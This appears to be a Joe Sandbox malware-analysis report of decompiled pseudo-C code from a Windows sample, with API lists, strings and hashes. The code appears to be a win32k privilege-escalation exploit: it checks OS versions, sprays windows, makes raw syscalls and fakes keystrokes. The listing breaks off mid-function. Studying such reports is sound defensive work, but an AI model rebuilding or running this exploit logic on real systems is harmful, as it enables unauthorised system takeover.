Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$ClassCreateDestroyRegister_memset
String ID: 0$MyExtraWnd$MyMainWnd
API String ID: 1202089904-3217463316
Opcode ID: 271261a2dcca78167b595e7fe9ac8d408c28f692e9f97e4b3a934a4d69e6b9a4
Instruction ID: 3202a7cc09f35e6bf18389ab78518a0d852e0df8a6e27500f7c2ac3180a31f74
Opcode Fuzzy Hash: 271261a2dcca78167b595e7fe9ac8d408c28f692e9f97e4b3a934a4d69e6b9a4
Instruction Fuzzy Hash: 6FB1B0B0A28714DFDB60DFB5EC45BAA77A8FB08315F100155E919B72E0DBB4A884EF50

Uniqueness

Uniqueness Score: -1.00%

Function 0093BA30 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 209
sleepregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E0093BA30(void* __ebx, signed int __edx, intOrPtr _a4) {
				signed int _v8;
				char _v10;
				struct _OSVERSIONINFOW _v292;
				int _v296;
				struct _WNDCLASSEXW _v344;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t57;
				signed int _t58;
				struct HINSTANCE__* _t61;
				int* _t62;
				signed int _t63;
				signed int _t65;
				signed int _t67;
				signed int _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int _t75;
				signed int _t79;
				signed int _t85;
				void* _t86;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				signed int _t94;
				void* _t95;
				void* _t96;
				void* _t98;
				signed int _t99;

				_t94 = __edx;
				_t86 = __ebx;
				_t37 =  *0x943050; // 0xce43520a
				_v8 = _t37 ^ _t99;
				_t95 = Sleep;
				_v296 = 0;
				Sleep(0xc8);
				_t96 = GetModuleHandleA;
				 *0x958030 = GetModuleHandleA(0);
				if(LoadLibraryA("USER32.dll") != 0) {
					 *0x95802c = _a4;
					_v292.dwOSVersionInfoSize = 0x11c;
					if(GetVersionExW( &_v292) == 0) {
						L30:
						asm("xorps xmm0, xmm0");
						_v344.hInstance =  *0x958030;
						_v344.cbSize = 0x30;
						_v344.style = 0;
						_v344.lpfnWndProc = E0093D960;
						_v344.cbClsExtra = 0;
						_v344.cbWndExtra = 0;
						asm("movdqu [ebp-0x13c], xmm0");
						_v344.lpszClassName = L"MyMainWnd";
						_v344.hIconSm = 0;
						if(RegisterClassExW( &_v344) == 0) {
							goto L1;
						} else {
							_t97 = GetSystemMetrics;
							_push(_t86);
							 *0x9441a4 = GetSystemMetrics(0);
							 *0x9441a8 = GetSystemMetrics(1);
							_t87 = CreateThread(0, 0, E0093C090, 0, 0, 0);
							if(_t87 != 0) {
								_t98 = 0;
								if( *0x958024 == 0) {
									while(1) {
										_t57 =  *0x9441a0; // 0xa
										if( *0x958034 >= _t57) {
											goto L37;
										}
										_t58 =  *0x9441a0; // 0xa
										if(_t98 < _t58 + _t58 * 4 + _t58 + _t58 * 4) {
											Sleep(0x64);
											_t98 = _t98 + 1;
											if( *0x958024 == 0) {
												continue;
											}
										}
										goto L37;
									}
								}
								L37:
								TerminateThread(_t87, 0);
								Sleep(0x64);
								_t97 = keybd_event;
								keybd_event(0x1b, 0, 2, 0);
								keybd_event(0x12, 0, 2, 0);
							}
							_pop(_t88);
							return E0093161C(_t88, _v8 ^ _t99, _t94, _t95, _t97);
						}
					} else {
						if(_v292.dwMajorVersion != 5 || _v292.dwMinorVersion < 1) {
							_t61 = GetModuleHandleA("ntdll.dll");
							if(_t61 == 0) {
								goto L19;
							} else {
								_t93 =  *((intOrPtr*)(_t61 + 0x3c));
								_t94 =  *(_t93 + _t61 + 0x40) & 0x0000ffff;
								_t85 =  *(_t93 + _t61 + 0x42) & 0x0000ffff;
								if(_t94 != 6) {
									if(_t94 != 0xa) {
										goto L1;
									} else {
										 *0x9440bc = 0xc;
										goto L19;
									}
								} else {
									if(_t85 != 0) {
										if(_t85 != 1) {
											if(_t85 != 2) {
												if(_t85 != 3) {
													goto L1;
												} else {
													 *0x9440bc = 0xa;
													goto L19;
												}
											} else {
												 *0x9440bc = 8;
												goto L19;
											}
										} else {
											 *0x9440bc = 6;
											goto L19;
										}
									} else {
										 *0x9440bc = 4;
										goto L19;
									}
								}
							}
						} else {
							 *0x9440bc = 0;
							if(_v10 != 1) {
								 *0x9440bc =  *0x9440bc + 2;
							}
							L19:
							_t62 =  &_v296;
							__imp__IsWow64Process(0xffffffff, _t62);
							if(_t62 == 0 || _v296 != 0) {
								goto L1;
							} else {
								_t63 =  *0x9440bc; // 0x0
								 *0x957fe8 =  *((intOrPtr*)(0x9440c0 + _t63 * 4));
								_t65 =  *0x9440bc; // 0x0
								 *0x957ff8 =  *((intOrPtr*)(0x9440f8 + _t65 * 4));
								_t67 =  *0x9440bc; // 0x0
								 *0x957ffc =  *((intOrPtr*)(0x944130 + _t67 * 4));
								_t69 =  *0x9440bc; // 0x0
								 *0x958000 =  *((intOrPtr*)(0x944168 + _t69 * 4));
								 *0x957fe8 = E0093BF60();
								_t72 = E0093BD80();
								 *0x957fec = _t72;
								if( *0x957fe8 == 0 || _t72 == 0) {
									goto L1;
								} else {
									if( *0x9440bc != 0xc || GetModuleHandleA("win32u.dll") == 0) {
										if( *0x9440bc == 0xd && GetModuleHandleA("win32u.dll") != 0) {
											 *0x957ff8 =  *0x957ff8 - 4;
										}
									} else {
										 *0x957ff8 =  *0x957ff8 + 8;
									}
									_t73 =  *0x957fec; // 0x0
									 *0x957ff0 = _t73 + 0xfffffffc;
									_t75 =  *0x957fe0; // 0x0
									asm("sbb eax, eax");
									 *0x957fe4 = ( ~_t75 & 0x00000018) + 0x2a;
									_t79 =  *0x957fe0; // 0x0
									asm("sbb eax, eax");
									 *0x957ff4 = ( ~_t79 & 0x00000024) + 0x34;
									goto L30;
								}
							}
						}
					}
				} else {
					L1:
					return E0093161C(_t86, _v8 ^ _t99, _t94, _t95, _t96);
				}
			}

0x0093ba30
0x0093ba30
0x0093ba39
0x0093ba40
0x0093ba45
0x0093ba50
0x0093ba5a
0x0093ba5c
0x0093ba6b
0x0093ba78
0x0093ba91
0x0093ba9d
0x0093baaf
0x0093bc59
0x0093bc5e
0x0093bc61
0x0093bc6e
0x0093bc78
0x0093bc82
0x0093bc8c
0x0093bc96
0x0093bca0
0x0093bca8
0x0093bcb2
0x0093bcc5
0x00000000
0x0093bccb
0x0093bccb
0x0093bcd1
0x0093bcd8
0x0093bcee
0x0093bcf9
0x0093bcfd
0x0093bcff
0x0093bd07
0x0093bd10
0x0093bd10
0x0093bd1b
0x00000000
0x00000000
0x0093bd1d
0x0093bd29
0x0093bd2d
0x0093bd2f
0x0093bd37
0x00000000
0x00000000
0x0093bd37
0x00000000
0x0093bd29
0x0093bd10
0x0093bd39
0x0093bd3c
0x0093bd44
0x0093bd46
0x0093bd54
0x0093bd5e
0x0093bd5e
0x0093bd68
0x0093bd75
0x0093bd75
0x0093bab5
0x0093babc
0x0093bae9
0x0093baed
0x00000000
0x0093baef
0x0093baef
0x0093baf2
0x0093baf7
0x0093baff
0x0093bb4b
0x00000000
0x0093bb51
0x0093bb51
0x00000000
0x0093bb51
0x0093bb01
0x0093bb03
0x0093bb14
0x0093bb25
0x0093bb36
0x00000000
0x0093bb3c
0x0093bb3c
0x00000000
0x0093bb3c
0x0093bb27
0x0093bb27
0x00000000
0x0093bb27
0x0093bb16
0x0093bb16
0x00000000
0x0093bb16
0x0093bb05
0x0093bb05
0x00000000
0x0093bb05
0x0093bb03
0x0093baff
0x0093bac7
0x0093bacb
0x0093bad5
0x0093badb
0x0093badb
0x0093bb5b
0x0093bb5b
0x0093bb64
0x0093bb6c
0x00000000
0x0093bb7f
0x0093bb7f
0x0093bb8b
0x0093bb90
0x0093bb9c
0x0093bba1
0x0093bbad
0x0093bbb2
0x0093bbbe
0x0093bbc8
0x0093bbcd
0x0093bbd9
0x0093bbde
0x00000000
0x0093bbec
0x0093bbf3
0x0093bc10
0x0093bc1d
0x0093bc1d
0x0093bc00
0x0093bc00
0x0093bc00
0x0093bc24
0x0093bc2c
0x0093bc31
0x0093bc38
0x0093bc40
0x0093bc45
0x0093bc4c
0x0093bc54
0x00000000
0x0093bc54
0x0093bbde
0x0093bb6c
0x0093babc
0x0093ba7b
0x0093ba7b
0x0093ba8b
0x0093ba8b

APIs

Sleep.KERNEL32(000000C8,?,00000000), ref: 0093BA5A
GetModuleHandleA.KERNEL32(00000000,?,00000000), ref: 0093BA64
LoadLibraryA.KERNEL32(USER32.dll,?,00000000), ref: 0093BA70
GetVersionExW.KERNEL32(?,?,00000000), ref: 0093BAA7
IsWow64Process.KERNEL32(000000FF,00000000,?,00000000), ref: 0093BB64
GetModuleHandleA.KERNEL32(win32u.dll,?,00000000), ref: 0093BBFA
RegisterClassExW.USER32 ref: 0093BCBC
GetSystemMetrics.USER32 ref: 0093BCD4
GetSystemMetrics.USER32 ref: 0093BCDD
CreateThread.KERNEL32 ref: 0093BCF3

Strings

win32u.dll, xrefs: 0093BBF5, 0093BC12
USER32.dll, xrefs: 0093BA66
MyMainWnd, xrefs: 0093BCA8
0, xrefs: 0093BC6E
ntdll.dll, xrefs: 0093BAE4

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: HandleMetricsModuleSystem$ClassCreateLibraryLoadProcessRegisterSleepThreadVersionWow64
String ID: 0$MyMainWnd$USER32.dll$ntdll.dll$win32u.dll
API String ID: 1875908182-450879528
Opcode ID: 9d20ce9f99cd7b50ae21414c2aa293be8aabcaa3cd9cb569bd017e7cf346c700
Instruction ID: f1693c77f0634008dee14a09a905064371cfd11060b10d25613196471560b8d9
Opcode Fuzzy Hash: 9d20ce9f99cd7b50ae21414c2aa293be8aabcaa3cd9cb569bd017e7cf346c700
Instruction Fuzzy Hash: E8818D75A2C314DBDB20CFA5EC45BA9B7F4EB09305F10015AEA04E72E0DBB49994EF51

Uniqueness

Uniqueness Score: -1.00%

Function 0093C790 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0093C790() {
				intOrPtr _t13;
				intOrPtr _t15;
				void* _t19;
				_Unknown_base(*)()* _t23;

				_t23 = GetProcAddress(LoadLibraryA("USER32.dll"), "IsMenu");
				_t19 = 0;
				do {
					if( *((intOrPtr*)(_t19 + _t23)) != 0x2b2) {
						goto L3;
					} else {
						_t19 = _t19 + 2;
						if( *((char*)(_t19 + _t23)) == 0xe8) {
							_t13 =  *((intOrPtr*)(_t19 + _t23 + 1)) + 5 + _t19 + _t23;
							 *0x958054 = _t13;
						} else {
							goto L3;
						}
					}
					L5:
					if(_t13 != 0) {
						return _t13;
					} else {
						 *0x958050 = 1;
						do {
							if( *((intOrPtr*)(_t13 + _t23)) == 0x26a) {
								_t13 = _t13 + 2;
								if( *((char*)(_t13 + _t23)) == 0xe8) {
									_t9 = _t23 + 5; // 0x5
									_t15 = _t9 +  *((intOrPtr*)(_t13 + _t23 + 1)) + _t13;
									 *0x958054 = _t15;
									return _t15;
								}
							}
							_t13 = _t13 + 1;
						} while (_t13 < 0x30);
						return _t13;
					}
					L3:
					_t19 = _t19 + 1;
				} while (_t19 < 0x30);
				_t13 =  *0x958054;
				goto L5;
			}

0x0093c7a7
0x0093c7a9
0x0093c7b0
0x0093c7b4
0x00000000
0x0093c7b6
0x0093c7b6
0x0093c7bd
0x0093c7ff
0x0093c801
0x00000000
0x00000000
0x00000000
0x0093c7bd
0x0093c7ca
0x0093c7cc
0x0093c818
0x0093c7ce
0x0093c7ce
0x0093c7e0
0x0093c7e4
0x0093c7e6
0x0093c7ed
0x0093c80e
0x0093c811
0x0093c813
0x00000000
0x0093c813
0x0093c7ed
0x0093c7ef
0x0093c7f0
0x0093c7f5
0x0093c7f5
0x0093c7bf
0x0093c7bf
0x0093c7c0
0x0093c7c5
0x00000000

APIs

LoadLibraryA.KERNEL32(USER32.dll,IsMenu,0093C761,?,0093BF8C,00000000,74656490,?,00000000), ref: 0093C79A
GetProcAddress.KERNEL32(00000000), ref: 0093C7A1

Strings

USER32.dll, xrefs: 0093C795
IsMenu, xrefs: 0093C790

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: IsMenu$USER32.dll
API String ID: 2574300362-1495665521
Opcode ID: 878b02cd1bb6dbf10737c2cbbb5ba258393a7f1b1344aff79dfd5f22737bb4cc
Instruction ID: 7b96f8f9e283ee73b81bac1ede5b8da5d0136b06cce0e4f696229077dbae5a02
Opcode Fuzzy Hash: 878b02cd1bb6dbf10737c2cbbb5ba258393a7f1b1344aff79dfd5f22737bb4cc
Instruction Fuzzy Hash: E0012BF2A1C6014BC7288F74CC55B6173E5EF41348B08457DD407E72E2EB3484869F04

Uniqueness

Uniqueness Score: -1.00%

Function 009333B8 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E009333B8(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x009333bd
0x009333cd

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0093422E,?,?,?,00000000), ref: 009333BD
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 009333C6

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 841cb4a85cc25efddd8770beb54d5710f1898451aaf06aae9f54201279f0f772
Instruction ID: 0fbfeba90e6cfc36847d3dc6d869771b139c7288f691d78b84bca329379417c6
Opcode Fuzzy Hash: 841cb4a85cc25efddd8770beb54d5710f1898451aaf06aae9f54201279f0f772
Instruction Fuzzy Hash: C1B0923505C208EBCB442B91EC09B587F69FB04752F004014F60D490E18BB29410AEA2

Uniqueness

Uniqueness Score: -1.00%

Function 00933387 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00933387(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x00933394

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,009318DE,00931893), ref: 0093338D

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 78256e181c80ee397ac3ab7be1299af334cada15e57d3c2717b0cedf00fd9f00
Instruction ID: 9ded21fb02d2889484d6226c3249492a25cf18cbd1d0646d446b46ba5fa4eb75
Opcode Fuzzy Hash: 78256e181c80ee397ac3ab7be1299af334cada15e57d3c2717b0cedf00fd9f00
Instruction Fuzzy Hash: 09A0113000820CAB8B002B82EC08A883F2CEA002A0B000020F80C0A0208BA2A820AA80

Uniqueness

Uniqueness Score: -1.00%

Function 00932041 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00932041() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0x95729c = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x00932041
0x00932049
0x00932055

APIs

GetProcessHeap.KERNEL32(009314F8,00941E70,00000014), ref: 00932041

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 508a4531c74dc42ba03d18532285f704d89072ec627b2cb5146c985819a16137
Instruction ID: 0d4d9988b07a61e9ca2c9d68fb15cf1c32c86fd6551521a5df41e195fa8a9745
Opcode Fuzzy Hash: 508a4531c74dc42ba03d18532285f704d89072ec627b2cb5146c985819a16137
Instruction Fuzzy Hash: 2EB012F032F20247570C0B3A7C5505936D45708212344403D700FC11A0DF20C8D4FF00

Uniqueness

Uniqueness Score: -1.00%

Function 0093D110 Relevance: 52.9, APIs: 26, Strings: 4, Instructions: 398
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E0093D110(intOrPtr __edx) {
				int _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				short _v34;
				short _v2032;
				char _v3056;
				intOrPtr _v3060;
				struct HWND__* _v3064;
				intOrPtr _v3068;
				int _v3072;
				intOrPtr _v3076;
				intOrPtr _v3080;
				intOrPtr _v3084;
				struct _WNDCLASSEXW _v3132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t73;
				signed int _t74;
				struct HWND__* _t94;
				signed int _t95;
				void* _t97;
				void* _t99;
				intOrPtr _t100;
				struct HWND__* _t102;
				intOrPtr _t104;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t159;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t165;
				intOrPtr _t166;
				intOrPtr _t167;
				void* _t169;
				intOrPtr _t176;
				intOrPtr _t179;
				intOrPtr _t181;
				struct HWND__* _t184;
				void* _t185;
				signed int _t188;
				void* _t193;
				int _t194;
				signed int _t195;
				signed int _t196;
				struct _SECURITY_ATTRIBUTES* _t197;
				struct _SECURITY_ATTRIBUTES* _t201;
				signed int _t202;
				void* _t203;
				void* _t223;
				void* _t225;

				_t181 = __edx;
				_push(0xfffffffe);
				_push(0x942148);
				_push(E00932A50);
				_push( *[fs:0x0]);
				_t73 =  *0x943050; // 0xce43520a
				_v12 = _v12 ^ _t73;
				_t74 = _t73 ^ _t202;
				_v32 = _t74;
				_push(_t74);
				 *[fs:0x0] =  &_v20;
				_v28 = _t203 - 0xc28;
				_v3072 = 0;
				_t184 = CreateWindowExW(0, L"#32768", 0, 0, 0, 0, 0, 0, 0, 0,  *0x9580b8, 0);
				_v3064 = _t184;
				if(_t184 == 0) {
					L57:
					L58:
					 *[fs:0x0] = _v20;
					_pop(_t185);
					_pop(_t193);
					_pop(_t165);
					return E0093161C(_t165, _v32 ^ _t202, _t181, _t185, _t193);
				}
				_t166 = E0093C750(_t184);
				_v3068 = _t166;
				if(_t166 == 0) {
					DestroyWindow(_t184);
					goto L57;
				}
				if( *0x9441b0 != 6) {
					_t194 = 1;
					_v3072 = 1;
				} else {
					SetWindowLongW(_t184, 0xfffffff0, GetWindowLongW(_t184, 0xfffffff0) | 0x40000000);
					_t201 = 0;
					while(1) {
						_v3060 = _t201;
						if(_t201 >= 0xa) {
							break;
						}
						_v8 = 0;
						_push(0xdddddddd);
						_push(0xcccccccc);
						_push(0xfffffff4);
						_push(_t184);
						_t159 =  *0x9441ec; // 0x1471
						_push(_t159 - _t201);
						L009310C5();
						if( *((intOrPtr*)(_t166 + 0xc0)) == 0) {
							_v8 = 0xfffffffe;
							_t201 =  &(_t201->nLength);
							continue;
						}
						_t162 =  *0x9441ec; // 0x1471
						_t163 = _t162 - _t201;
						 *0x9441ec = _t163;
						_t194 = 1;
						_v3072 = 1;
						if(_t163 == 0x1471) {
							 *0x958070 =  *0x958070 - 8;
						}
						_v8 = 0xfffffffe;
						L12:
						DestroyWindow(_t184);
						if(_t194 == 0 ||  *0x958060 == 0 ||  *0x958064 == 0) {
							goto L57;
						} else {
							memset( &_v2032, 0x610061, 0x64 << 2);
							_v34 = 0;
							_v3132.cbSize = 0x30;
							_v3132.style = 0;
							_v3132.lpfnWndProc = DefWindowProcW;
							_v3132.cbClsExtra = 0;
							_v3132.cbWndExtra = 0;
							_v3132.hInstance =  *0x9580b8;
							asm("xorps xmm0, xmm0");
							asm("movdqu [ebp-0xc20], xmm0");
							_v3132.lpszClassName = L"MyExtraWnd";
							_v3132.hIconSm = 0;
							if(RegisterClassExW( &_v3132) == 0) {
								goto L57;
							}
							E00935A90( &_v3056, 0, 0x400);
							_t188 = 0;
							while(1) {
								_t94 = CreateWindowExW(0, L"MyExtraWnd",  &_v2032, 0, 0, 0, 0, 0, 0, 0,  *0x9580b8, 0);
								 *(_t202 + _t188 * 4 - 0xbec) = _t94;
								if(_t94 == 0) {
									break;
								}
								_t188 = _t188 + 1;
								if(_t188 < 0x100) {
									continue;
								}
								break;
							}
							_t95 = 0;
							_v3064 = 0;
							do {
								_t195 = 0;
								_t96 =  *((intOrPtr*)(_t202 + _t95 * 4 - 0xbec));
								_v3060 =  *((intOrPtr*)(_t202 + _t95 * 4 - 0xbec));
								while(1) {
									_t97 = E0093C750(_t96);
									_t167 =  *((intOrPtr*)(_t97 + 0x20));
									_v3084 = _t167;
									_v3076 =  *((intOrPtr*)(_t97 + 0x24));
									_t99 = E0093C750( *((intOrPtr*)(_t202 + _t195 * 4 - 0xbec)));
									_t176 =  *((intOrPtr*)(_t99 + 0x20));
									_v3080 = _t176;
									_t181 =  *((intOrPtr*)(_t99 + 0x24));
									_v3068 = _t181;
									_t100 = _v3076;
									_t223 = _t100 - _t181;
									if(_t223 > 0 || _t223 >= 0 && _t167 >= _t176) {
										goto L27;
									}
									L24:
									_t181 = _t176 + 0x300;
									asm("adc ecx, 0x0");
									_t169 = _t167 + 0x40000;
									asm("adc eax, 0x0");
									_t225 = _t100 - _v3068;
									if(_t225 > 0 || _t225 >= 0 && _t169 > _t181) {
										 *0x958080 = _v3060;
										 *0x958090 =  *((intOrPtr*)(_t202 + _t195 * 4 - 0xbec));
										 *0x958084 = E0093C750(_v3060);
										 *0x958094 = E0093C750( *((intOrPtr*)(_t202 + _t195 * 4 - 0xbec)));
										 *0x958088 = _v3084;
										 *0x95808c = _v3076;
										 *0x958098 = _v3080;
										 *0x95809c = _v3068;
										_t179 =  *0x958084;
										 *0x9580a8 =  *((intOrPtr*)(_t179 + 0x10));
										 *0x9580ac =  *((intOrPtr*)(_t179 + 0x14));
										asm("adc ecx, 0x0");
										asm("adc ecx, 0xffffffff");
										 *0x9580a0 =  *0x958088 +  *0x958060 + 0xfffffff8;
										 *0x9580a4 =  *0x95808c;
										L30:
										if( *0x958080 == 0 ||  *0x958090 == 0) {
											break;
										} else {
											goto L33;
										}
									}
									L27:
									_t195 = _t195 + 1;
									if(_t195 > _t188) {
										goto L30;
									}
									_t96 = _v3060;
									_t97 = E0093C750(_t96);
									_t167 =  *((intOrPtr*)(_t97 + 0x20));
									_v3084 = _t167;
									_v3076 =  *((intOrPtr*)(_t97 + 0x24));
									_t99 = E0093C750( *((intOrPtr*)(_t202 + _t195 * 4 - 0xbec)));
									_t176 =  *((intOrPtr*)(_t99 + 0x20));
									_v3080 = _t176;
									_t181 =  *((intOrPtr*)(_t99 + 0x24));
									_v3068 = _t181;
									_t100 = _v3076;
									_t223 = _t100 - _t181;
									if(_t223 > 0 || _t223 >= 0 && _t167 >= _t176) {
										goto L27;
									}
								}
								_t95 =  &(_v3064->i);
								_v3064 = _t95;
							} while (_t95 <= _t188);
							L33:
							_t196 = 0;
							do {
								_t102 =  *(_t202 + _t196 * 4 - 0xbec);
								if(_t102 !=  *0x958080 && _t102 !=  *0x958090) {
									DestroyWindow(_t102);
								}
								_t196 = _t196 + 1;
							} while (_t196 < 0x100);
							if( *0x958080 == 0 ||  *0x958090 == 0) {
								goto L57;
							} else {
								if( *0x95807c != 0) {
									L55:
									goto L58;
								}
								while(1) {
									_t104 =  *0x944244; // 0xa
									if( *0x9580bc >= _t104) {
										goto L55;
									}
									 *0x9580d4 = 0;
									 *0x9580d8 = 0;
									 *0x9580d0 = 0;
									if( *0x95807c != 0) {
										L54:
										 *0x9580bc =  *0x9580bc + 1;
										if( *0x95807c == 0) {
											continue;
										}
										goto L55;
									}
									_t197 = 0;
									 *0x9580c0 = CreateThread(0, 0, E0093C970, 0, 0, 0);
									while( *0x9580d0 == 0) {
										_t197 =  &(_t197->nLength);
										Sleep(0x32);
										if(_t197 < 0x14) {
											continue;
										}
										break;
									}
									if(_t197 >= 0x14) {
										DestroyWindow( *0x9580d4);
										DestroyWindow( *0x9580d8);
										TerminateThread( *0x9580c0, 0xffffffff);
									} else {
										_t113 =  *0x94424c; // 0x1388
										_t115 =  *0x944248; // 0x1388
										 *0x9580d8 = CreateWindowExW(0x80000, L"MyMainWnd", 0, 0x10000000, _t115 + 1, _t113 + 1, 1, 1, 0, 0,  *0x9580b8, 0);
										if( *0x9580d8 != 0) {
											asm("adc edi, 0x0");
											asm("adc edi, 0x0");
											asm("adc edi, 0xffffffff");
											SetWindowLongW( *0x9580d8, 0xfffffff0, GetWindowLongW( *0x9580d8, 0xfffffff0) | 0x40000000);
											_push( *0x95808c);
											_push( *0x958088 +  *0x958064 + 3 - 0x28);
											_push(0xfffffff4);
											_push( *0x9580d8);
											_push( *0x9441ec);
											L009310C5();
											keybd_event(0x12, 0, 0, 0);
											keybd_event(0x1b, 0, 0, 0);
											keybd_event(0x1b, 0, 2, 0);
											keybd_event(0x12, 0, 2, 0);
											Sleep(0x64);
										}
										DestroyWindow( *0x9580d4);
										DestroyWindow( *0x9580d8);
										TerminateThread( *0x9580c0, 0xffffffff);
										WaitForSingleObject( *0x9580c0, 0xffffffff);
